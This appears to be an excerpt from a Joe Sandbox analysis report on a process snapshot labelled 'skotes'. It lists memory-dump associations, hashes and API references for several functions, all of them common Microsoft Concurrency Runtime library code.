Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 1541f8a1e074690dd47f4069d7e7126abe74ea5e59a944b0cd5a60ea1c068bb7
Instruction ID: d7327800cecea8d96e53954e90c31031d42ffb1e5b8ce0a9311d1c8dce375cb6
Opcode Fuzzy Hash: 1541f8a1e074690dd47f4069d7e7126abe74ea5e59a944b0cd5a60ea1c068bb7
Instruction Fuzzy Hash: 17415F35A00619EFCB09DF68C554ABDB7B6FF88310F058159E606A73A1CB74AE41CF90

Function 009EECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 009EECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 009EED17

Part of subcall function 009EF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 009EF3FA

__alloca_probe_16.LIBCMT ref: 009EED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 009EED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009EEDC6

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 126d91242eecd50cd973037521992672ba2958d28879144d38c4969b81b7393f
Instruction ID: bc54f59f9954171edbc0b292f376dd6fa1d26dd772e9d44ec1544b1f6ad340ca
Opcode Fuzzy Hash: 126d91242eecd50cd973037521992672ba2958d28879144d38c4969b81b7393f
Instruction Fuzzy Hash: 7531C071E002458FCB16DFAAC9416ADB7F8EF49310F24406EE845EB391DB349E42CBA4

Function 009FD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 009FD344
ListArray.LIBCONCRT ref: 009FD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009FD370
ListArray.LIBCONCRT ref: 009FD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 009FD3B3

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: ca34809e0dd9f7dcfff2277f961395ab89e1bfc0f9907d997389f45e530226f5
Instruction ID: 105475c503d0f19190f7500489f3893cc490accafc363f1e220bbc565f2f4051
Opcode Fuzzy Hash: ca34809e0dd9f7dcfff2277f961395ab89e1bfc0f9907d997389f45e530226f5
Instruction Fuzzy Hash: 9631AF75701218EFCB05DF54C884BBDB7AAAF88314F154099EA069B392CBB5AD41CB92

Function 009F86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009F86EE

Part of subcall function 009EEAD0: _SpinWait.LIBCONCRT ref: 009EEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 009F8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009F8734
List.LIBCMT ref: 009F87B7
List.LIBCMT ref: 009F87C6

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 2598cf872bed479f50cddd81c550696de6af5d8864566f48a120319ebf4d82bb
Instruction ID: e8b216b66780b550600819cbbb2e38b5a933ec0bea62667f3c6be5fe59826f4a
Opcode Fuzzy Hash: 2598cf872bed479f50cddd81c550696de6af5d8864566f48a120319ebf4d82bb
Instruction Fuzzy Hash: E1318732D01299DFCB55EFA4C5917EEB7B1BF44718F24006AD60177652CB31AD04CB90

Function 00A0182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A018A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00A018EB

Strings

pContext, xrefs: 00A0189C

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f00e25c88472de1c77105d47004d2ca953ee1c718991e356b54edba9f3c99248
Instruction ID: 94879ff8615443af4a9d3a58c2a8d35439afce13d441ecd36d5d374bbec25343
Opcode Fuzzy Hash: f00e25c88472de1c77105d47004d2ca953ee1c718991e356b54edba9f3c99248
Instruction Fuzzy Hash: EA213831B006199BCB14AB68E895EFC73B9BF94338B04456AE501872D1CB64ED46CBD0

Function 009FAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 009FAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009FAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 009FAF4E

Strings

